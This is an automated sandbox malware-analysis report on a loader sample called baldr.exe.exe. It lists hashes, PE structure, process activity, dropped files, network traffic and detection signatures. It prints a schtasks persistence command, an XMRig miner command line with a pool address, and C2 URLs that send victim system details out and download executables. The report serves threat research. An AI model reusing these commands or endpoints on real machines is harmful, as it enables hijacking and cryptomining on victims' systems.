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File name:

baldr.exe.exe

Full analysis: https://app.any.run/tasks/e084330c-014c-45cc-9493-e6b7bc55055e
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: May 15, 2019, 16:02:56
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
loader
zbot
xmrig
miner
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

686FE941E07755291F3C26541458F7AC

SHA1:

06514BDEB621F28D76B682956535881507266EA0

SHA256:

16AF148D23226E31FBE10D229D841AD11CE24351291197E92347F5419A8F8F34

SSDEEP:

24576:F/AGzdqnTxitt5sBsGoAkbZ95oJjXBDRhiY:F/3zdq9ssB9kbZDYXBb

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Task Scheduler to run other applications

      • baldr.exe.exe (PID: 1812)

    • Connects to CnC server

      • baldr.exe.exe (PID: 1812)
      • winlogon.exe (PID: 880)
      • winlogon.exe (PID: 3324)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2648)

    • Application was dropped or rewritten from another process

      • {5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe (PID: 296)

    • Downloads executable files from the Internet

      • winlogon.exe (PID: 880)

    • Downloads executable files from IP

      • winlogon.exe (PID: 880)

  • SUSPICIOUS

    • Connects to server without host name

      • baldr.exe.exe (PID: 1812)
      • winlogon.exe (PID: 880)
      • winlogon.exe (PID: 3324)

    • Creates files in the program directory

      • baldr.exe.exe (PID: 1812)

    • Executable content was dropped or overwritten

      • baldr.exe.exe (PID: 1812)
      • winlogon.exe (PID: 880)

    • Starts CMD.EXE for commands execution

      • baldr.exe.exe (PID: 1812)
      • winlogon.exe (PID: 880)

    • Uses ATTRIB.EXE to modify file attributes

      • winlogon.exe (PID: 880)

  • INFO

    • Drop XMRig executable file

      • winlogon.exe (PID: 880)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (67.4)
.dll | Win32 Dynamic Link Library (generic) (14.2)
.exe | Win32 Executable (generic) (9.7)
.exe | Generic Win/DOS Executable (4.3)
.exe | DOS Executable Generic (4.3)

EXIF

EXE

Subsystem: Windows GUI
SubsystemVersion: 5
ImageVersion: -
OSVersion: 5
EntryPoint: 0x747ed
UninitializedDataSize: -
InitializedDataSize: 5202944
CodeSize: 710144
LinkerVersion: 9
PEType: PE32
TimeStamp: 2018:10:16 15:01:16+02:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 16-Oct-2018 13:01:16

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000D8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 6
Time date stamp: 16-Oct-2018 13:01:16
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x000AD41D
0x000AD600
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.12951
.rdata
0x000AF000
0x0000835F
0x00008400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.685
.data
0x000B8000
0x004DD670
0x00004200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
1.5898
.idata
0x00596000
0x00001E8D
0x00001400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.66882
.rsrc
0x00598000
0x00009480
0x00009600
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.22789
.reloc
0x005A2000
0x00005C1E
0x00005E00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
2.87477

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.39021
3752
UNKNOWN
UNKNOWN
RT_ICON
2
5.15094
2216
UNKNOWN
UNKNOWN
RT_ICON
3
4.99606
1736
UNKNOWN
UNKNOWN
RT_ICON
4
4.57499
1384
UNKNOWN
UNKNOWN
RT_ICON
5
3.55127
9640
UNKNOWN
UNKNOWN
RT_ICON
6
3.97867
4264
UNKNOWN
UNKNOWN
RT_ICON
7
4.04076
2440
UNKNOWN
UNKNOWN
RT_ICON
8
4.11885
1128
UNKNOWN
UNKNOWN
RT_ICON
11
3.27705
1662
UNKNOWN
UNKNOWN
RT_STRING
111
2.85812
118
UNKNOWN
UNKNOWN
RT_GROUP_ICON

Imports

ADVAPI32.dll
GDI32.dll
KERNEL32.dll
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
8
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start baldr.exe.exe schtasks.exe no specs cmd.exe no specs winlogon.exe cmd.exe no specs {5zy4hsui-ykht-pfpn-7q30roe94yxw}.exe attrib.exe no specs winlogon.exe

Process information

PID
CMD
Path
Indicators
Parent process
1812"C:\Users\admin\Desktop\baldr.exe.exe" C:\Users\admin\Desktop\baldr.exe.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2648"C:\Windows\System32\schtasks.exe" /create /tn "Scheduled Updater - {90059c37-1320-41a4-b58d-2b75a9850d2f}" /f /sc minute /tr "C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe"C:\Windows\System32\schtasks.exe—baldr.exe.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3264"C:\Windows\System32\cmd.exe" /c start C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exeC:\Windows\System32\cmd.exe—baldr.exe.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
880C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
2104"C:\Windows\System32\cmd.exe" /c start C:\Users\admin\AppData\Local\Temp\\{5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exeC:\Windows\System32\cmd.exe—winlogon.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
296C:\Users\admin\AppData\Local\Temp\\{5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe C:\Users\admin\AppData\Local\Temp\{5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3644a -o dido.website:88 -u CPU -p x --donate-level 0 --max-cpu-usage 50C:\Windows\system32\attrib.exe—winlogon.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Attribute Utility
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3324C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe C:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exe
taskeng.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Total events
258
Read events
204
Write events
54
Delete events
0

Modification events

(PID) Process:(1812) baldr.exe.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(1812) baldr.exe.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(1812) baldr.exe.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32
Operation:writeName:FileTracingMask
Value:
4294901760
(PID) Process:(1812) baldr.exe.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
4294901760
(PID) Process:(1812) baldr.exe.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(1812) baldr.exe.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(1812) baldr.exe.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(1812) baldr.exe.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(1812) baldr.exe.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASMANCS
Operation:writeName:FileTracingMask
Value:
4294901760
(PID) Process:(1812) baldr.exe.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\baldr_RASMANCS
Operation:writeName:ConsoleTracingMask
Value:
4294901760
Executable files
4
Suspicious files
1
Text files
11
Unknown types
0

Dropped files

PID
Process
Filename
Type
880winlogon.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\blacklist[1].txt —
MD5:—
SHA256:—
1812baldr.exe.exeC:\ProgramData\{90059C37-1320-41A4-B58D-2B75A9850D2F}\winlogon.exeexecutable
MD5:686FE941E07755291F3C26541458F7AC
SHA256:16AF148D23226E31FBE10D229D841AD11CE24351291197E92347F5419A8F8F34
880winlogon.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\cpu[1].txttext
MD5:A64775FE18CCF4CD2B1ACC0A9D17A321
SHA256:C0B0BF58B6709C869D979119B7A401E6FEC73BD715762EF982B9CE7DCF10A760
880winlogon.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\suicide[1].txttext
MD5:AB52FA35776BCAE875F7FABA3E7780A7
SHA256:CB5F606B013E0D99EF34CC61F9DEE9B5935B0F5915DE1DAE020140A25B1B261D
1812baldr.exe.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\suicide[1].txttext
MD5:AB52FA35776BCAE875F7FABA3E7780A7
SHA256:CB5F606B013E0D99EF34CC61F9DEE9B5935B0F5915DE1DAE020140A25B1B261D
880winlogon.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\task[1].txttext
MD5:C573375CC02652A9E03C25C9DA0AFF17
SHA256:32B3163E380E5CA16746501F3C071A9A16307FA7C165C466FD8BFFE4F9F7F07C
1812baldr.exe.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\config[1].txttext
MD5:DB2F40F24260BC41DB48D82D5E7ABF1D
SHA256:5E7B571A60A7C187D6A4CB8BBEDBE4E69D4CAA49B51D9DDF3320AFD793F146BF
3324winlogon.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\config[1].txttext
MD5:DB2F40F24260BC41DB48D82D5E7ABF1D
SHA256:5E7B571A60A7C187D6A4CB8BBEDBE4E69D4CAA49B51D9DDF3320AFD793F146BF
1812baldr.exe.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\msgbox[1].txttext
MD5:8D59FCAEDB3AD9DF7ABD18BEAF21CA05
SHA256:5FD930D2054569D45E13718DCDDCCE0484AFCDCDD200440B1A3399280FFFDEED
880winlogon.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\reconnecttime[1].txttext
MD5:DB094DF7E9F9E82DA10600CB4A313118
SHA256:55049FBDE55A1E8BC12D678209FFC9E90A137C044FAAF013280BF5FDFD7E1210
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
21
TCP/UDP connections
12
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
296
{5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe
GET
—
95.81.0.83:80
http://95.81.0.83/gate.php
UA
—
—
malicious
880
winlogon.exe
GET
200
95.81.0.83:80
http://95.81.0.83/baldr/1baldr.exe
UA
executable
765 Kb
malicious
880
winlogon.exe
POST
200
95.81.1.51:80
http://95.81.1.51/task?hwid=OTAwNTljMzctMTMyMC00MWE0LWI1OGQtMmI3NWE5ODUwZDJm
UA
text
57 b
malicious
880
winlogon.exe
POST
200
95.81.1.51:80
http://95.81.1.51/addbot?hwid=OTAwNTljMzctMTMyMC00MWE0LWI1OGQtMmI3NWE5ODUwZDJm&bit=eDMy&win=V2luZG93cyA3IFByb2Zlc3Npb25hbA==&cpu=SW50ZWwoUikgQ29yZShUTSkgaTUtNjQwMCBDUFUgQCAyLjcwR0h6AAAAAAAAAAAA&gpu=U3RhbmRhcmQgVkdBIEdyYXBoaWNzIEFkYXB0ZXI=&av=VW5rbm93bg==&filename=d2lubG9nb24uZXhl&username=YWRtaW4=
UA
text
7 b
malicious
880
winlogon.exe
POST
200
51.255.203.164:80
http://51.255.203.164/bundles/sensiodistribution/webconfigurator/bild.exe
FR
—
—
malicious
1812
baldr.exe.exe
POST
200
95.81.1.51:80
http://95.81.1.51/suicide
UA
text
9 b
malicious
880
winlogon.exe
POST
200
95.81.1.51:80
http://95.81.1.51/config
UA
text
4 b
malicious
880
winlogon.exe
POST
200
95.81.1.51:80
http://95.81.1.51/cpu
UA
text
151 b
malicious
880
winlogon.exe
GET
200
31.204.154.75:80
http://31.204.154.75/chrome.exe
NL
executable
5.65 Mb
suspicious
880
winlogon.exe
POST
200
95.81.1.51:80
http://95.81.1.51/suicide
UA
text
9 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
880
winlogon.exe
51.255.203.164:80
—
OVH SAS
FR
malicious
1812
baldr.exe.exe
51.255.203.164:80
—
OVH SAS
FR
malicious
1812
baldr.exe.exe
95.81.1.51:80
—
—
UA
malicious
880
winlogon.exe
95.81.1.51:80
—
—
UA
malicious
880
winlogon.exe
31.204.154.75:80
—
i3D.net B.V
NL
suspicious
296
{5ZY4HSUI-YKHT-PFPN-7Q30ROE94YXW}.exe
95.81.0.83:80
—
—
UA
malicious
3324
winlogon.exe
95.81.1.51:80
—
—
UA
malicious
880
winlogon.exe
95.81.0.83:80
—
—
UA
malicious
3324
winlogon.exe
51.255.203.164:80
—
OVH SAS
FR
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
1812
baldr.exe.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
1812
baldr.exe.exe
A Network Trojan was detected
SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary
1812
baldr.exe.exe
A Network Trojan was detected
SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary
1812
baldr.exe.exe
A Network Trojan was detected
SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary
1812
baldr.exe.exe
A Network Trojan was detected
SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary
880
winlogon.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
880
winlogon.exe
A Network Trojan was detected
SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary
880
winlogon.exe
A Network Trojan was detected
SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary
880
winlogon.exe
A Network Trojan was detected
SUSPICIOUS [PTsecurity] Possible Generic.Trojan Boundary
880
winlogon.exe
A Network Trojan was detected
ET TROJAN Megumin v2 Stealer User-Agent
32 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
baldr.exe.exe